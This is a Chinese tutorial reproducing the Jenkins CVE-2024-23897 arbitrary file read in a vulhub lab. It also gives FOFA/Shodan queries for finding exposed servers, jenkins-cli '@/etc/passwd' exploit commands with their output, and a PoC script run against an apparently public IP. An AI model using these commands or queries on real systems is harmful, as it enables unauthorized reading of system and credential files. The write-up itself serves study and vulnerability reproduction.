Jenkins:CVE-2024-23897[任意文件读取]

Jenkins简介:一个开源的自动化服务器,它可以帮助自动化各种任务,包括构建、测试和部署软件。

漏洞原理

1.Jenkins服务器在处理客户端远程命令时,Jenkins 使用 args4j 库来解析 Jenkins 控制器上的命令参数和选项。

2.此命令解析器具有一项功能,可将参数中后跟文件路径的 @ 字符替换为文件的内容。

3.此功能默认启用,Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本不会禁用此功能。

FOFA查询语法

复制代码
(header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols") && port="443"

Shodan语法

复制代码
http.component:"Jenkins" port:8080

漏洞利用

1.开启vulhub靶场

复制代码
cd ./vulhub-master/jenkins/CVE-2024-23897

docker-compose up

docker ps

Name Command State Ports


cve-2024-23897_jenkins_1 /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:50000->50000/tcp,:::50000->50000/tcp, 0.0.0.0:5005->5005/tcp,:::5005->5005/tcp,

0.0.0.0:8080->8080/tcp,:::8080->8080/tcp

2.访问网页

http://ip:8080

3.下载客户端用于远程访问

复制代码
wget http://IP:8080/jnlpJars/jenkins-cli.jar

4.使用客户端连接服务器,指定文件作为参数,回显文件内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

如果用户权限较高可使用 reload-job 读取文件完整内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such item 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' exists.
root:x:0:0:root:/root:/bin/bash: No such item 'root:x:0:0:root:/root:/bin/bash' exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such item 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin' exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such item 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin' exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such item '_apt:x:42:65534::/nonexistent:/usr/sbin/nologin' exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such item 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin' exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such item 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin' exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such item 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin' exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such item 'bin:x:2:2:bin:/bin:/usr/sbin/nologin' exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such item 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin' exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such item 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin' exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such item 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin' exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such item 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin' exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such item 'jenkins:x:1000:1000::/var/jenkins_home:/bin/bash' exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such item 'games:x:5:60:games:/usr/games:/usr/sbin/nologin' exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such item 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin' exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such item 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin' exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such item 'sys:x:3:3:sys:/dev:/usr/sbin/nologin' exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such item 'sync:x:4:65534:sync:/bin:/bin/sync' exists.

poc工具使用

作者地址:GitHub - h4x0r-dz/CVE-2024-23897: CVE-2024-23897

CVE-2024-23897.py

复制代码
CVE-2024-23897.py [-h] [-u URL] [-l LIST] -f文件

CVE-2024-23897漏洞脚本。

可选参数:
-h,------help显示帮助信息并退出
-u URL,------URL URL单目标URL。
-l LIST,------LIST LIST包含目标主机列表的文件。
-f FILE,------FILE FILE从服务器读取的文件路径。

[root@localhost CVE-2024-23897-main]# python3 CVE-2024-23897.py -u 52.83.63.195:9999 -f /etc/passwd
RESPONSE from 52.83.63.195:9999: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00<\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

官方安全公告:Jenkins Security Advisory 2024-01-24

其他漏洞:https://korelogic.com/advisories.html

漏洞分析:Jenkins RCE漏洞PoC发布,CVE-2024-23897漏洞解析 - FreeBuf网络安全行业门户

漏洞利用及java低版本报错解决:Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现 - BMCel - 博客园 (cnblogs.com)

相关推荐
Blurpath3 小时前
免费代理IP服务有哪些隐患?如何安全使用?
网络·安全·ip代理·住宅ip
枫叶落雨2224 小时前
下载的旧版的jenkins,为什么没有旧版的插件
运维·jenkins
快消前瞻5 小时前
百度导航广告“焊死”东鹏特饮:商业底线失守,用户安全成隐忧
安全·百度
可怜的Tom被玩弄于股掌之中7 小时前
BUUCTF——ReadlezPHP
安全·web安全·网络安全·网络攻击模型·安全架构
你好我是小美7 小时前
信息收集+初步漏洞打点
安全·web安全·网络安全
weixin_473894778 小时前
Web安全核心内容与常见漏洞总结
安全·web安全
mooyuan天天9 小时前
upload-labs通关笔记-第10关 文件上传之点多重过滤(空格点绕过)
web安全·代码审计·文件上传·文件上传漏洞·upload-labs靶场
朱包林9 小时前
day10-别名-MD5,aide-堡垒机
linux·运维·安全·ubuntu·centos·云计算
海尔辛10 小时前
学习黑客Kerberos深入浅出:安全王国的门票系统
学习·安全·kerberos·window
Allen_LVyingbo11 小时前
医院网络安全托管服务(MSS)深度解读与实践路径
安全·web安全·健康医疗